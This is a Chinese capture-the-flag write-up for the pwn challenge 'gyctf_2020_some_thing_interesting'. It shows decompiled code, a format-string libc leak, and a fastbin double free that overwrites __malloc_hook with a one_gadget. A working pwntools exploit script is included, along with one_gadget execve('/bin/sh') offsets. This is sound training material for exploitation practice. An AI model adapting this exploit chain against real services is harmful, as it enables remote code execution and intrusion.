gyctf_2020_some_thing_interesting

gyctf_2020_some_thing_interesting

uaf+格式化字符串

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

64位保护全开,

瞧一下ida

char *sub_B7A()
{
  memset(s1, 0, 0x14uLL);
  puts("#######################");
  puts("#       Surprise      #");
  puts("#---------------------#");
  printf("> Input your code please:");
  read(0, s1, 0x13uLL);
  if ( strncmp(s1, "OreOOrereOOreO", 0xEuLL) )
  {
    puts("Emmmmmm!Maybe you want Fool me!");
    exit(0);
  }
  puts("#---------------------#");
  puts("#      ALL Down!      #");
  puts("#######################");
  return s1;
}

这个东东先逆向,OreOOrereOOreO必须含有这个,这里占了0xf

我们能输入0x13但是他检测只检测写入的前0xe

然后读入的东西会进入到下面这里

unsigned __int64 __fastcall sub_D3D(const char *a1)
{
  unsigned __int64 v2; // [rsp+18h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  if ( dword_202010 )
  {
    puts("Now you are ....?");
    printf("# Your Code is ");
    printf(a1);
    putchar(10);
    puts("###############################################################################");
  }
  else
  {
    puts("Now you are Administrator!");
  }
  return __readfsqword(0x28u) ^ v2;
}

这里存在一个格式化字符串漏洞,刚好够0x13-0xf=0x5 %??$p极限(x

我们看看栈能泄露点啥东西
在这里插入图片描述

发现个__libc_start_main+240我们算出偏移是17

OreOOrereOOreO%17$p

有了libcbase下面随便打

unsigned __int64 ADD()
{
  int i; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("#######################");
  puts("#     Create Oreo     #");
  puts("#---------------------#");
  for ( i = 1; i <= 9 && *((_QWORD *)&unk_2020E0 + i) && BSSPTR1[i] && *((_QWORD *)&unk_2021A0 + i) && BSSPTR2[i]; ++i )
  {
    if ( i == 9 )
    {
      puts("#    so much Oreo!    #");
      puts("#######################");
      return __readfsqword(0x28u) ^ v2;
    }
  }
  printf("> O's length : ");
  _isoc99_scanf("%ld", &BSSPTR1[i]);
  if ( BSSPTR1[i] <= 0 || BSSPTR1[i] > 0x70 )
  {
    puts("Emmmmmm!Maybe you want Fool me!");
    EXIT();
  }
  *((_QWORD *)&unk_2020E0 + i) = malloc(BSSPTR1[i]);
  printf("> O : ");
  read(0, *((void **)&unk_2020E0 + i), BSSPTR1[i]);
  printf("> RE's length : ");
  _isoc99_scanf("%ld", &BSSPTR2[i]);
  if ( BSSPTR2[i] <= 0 || BSSPTR2[i] > 0x70 )
  {
    puts("Emmmmmm!Maybe you want Fool me!");
    EXIT();
  }
  printf("> RE : ");
  *((_QWORD *)&unk_2021A0 + i) = malloc(BSSPTR2[i]);
  read(0, *((void **)&unk_2021A0 + i), BSSPTR2[i]);
  puts("#---------------------#");
  puts("#      ALL Down!      #");
  puts("#######################");
  return __readfsqword(0x28u) ^ v2;
}

add这里,建了两个chunk,size都是fastbin大小的

unsigned __int64 EDIT()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("#######################");
  puts("#     Modify Oreo     #");
  puts("#---------------------#");
  printf("> Oreo ID : ");
  _isoc99_scanf("%d", &v1);
  if ( v1 > 0xA
    || !*((_QWORD *)&unk_2020E0 + (int)v1)
    || !BSSPTR1[v1]
    || !*((_QWORD *)&unk_2021A0 + (int)v1)
    || !BSSPTR2[v1] )
  {
    puts("Emmmmmm!Maybe you want Fool me!");
    EXIT();
  }
  printf("> O : ");
  read(0, *((void **)&unk_2020E0 + (int)v1), BSSPTR1[v1]);
  printf("> RE : ");
  read(0, *((void **)&unk_2021A0 + (int)v1), BSSPTR2[v1]);
  puts("#---------------------#");
  puts("#      ALL Down!      #");
  puts("#######################");
  return __readfsqword(0x28u) ^ v2;
}

edit这里正常edit,有的师傅有用edit,直接改fd指针,效果一样的

unsigned __int64 DELE()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("#######################");
  puts("#     Delete Oreo     #");
  puts("#---------------------#");
  printf("> Oreo ID : ");
  _isoc99_scanf("%d", &v1);
  if ( v1 > 0xA || !*((_QWORD *)&unk_2020E0 + (int)v1) )
  {
    puts("Emmmmmm!Maybe you want Fool me!");
    EXIT();
  }
  free(*((void **)&unk_2020E0 + (int)v1));
  free(*((void **)&unk_2021A0 + (int)v1));
  puts("#---------------------#");
  puts("#      ALL Down!      #");
  puts("#######################");
  return __readfsqword(0x28u) ^ v2;
}

uaf

show一般用来泄露libc,极个别用来改got表然后getshell,(或者还有其他

本题已经拿到libc了所以没啥用(-.-)

题目部署在libc-2.23

from pwn import*
from Yapack import *
libc=ELF('./libc-2.23.so')   

context(os='linux', arch='amd64',log_level='debug')
r,elf=rec("node4.buuoj.cn",29960,"./pwn",10)

sla(b'please:',b'OreOOrereOOreO%17$p')
sla(menu,b'0')
ru(b'OreOOrereOOreO0x')
leak=int(r.recv(12),16)-240-libc.sym['__libc_start_main']
li(leak)
malloc=mallochook(leak)
one=leak+0xf1147
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''

add(0x68,b'aaaa',0x68,b'bbbb')
dele(1)
dele(1)
#这里因为fastbin的特性,并且申请了两个chunk,所以直接free两次就行
add(0x68,p64(malloc-0x23),0x68,b'bbbb')
add(0x68,b'aaaa',0x68,b'b'*0x13+p64(one))
li(one)
sla(menu,b'1')
sla(b': ',b'1')
#debug()
ia()

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值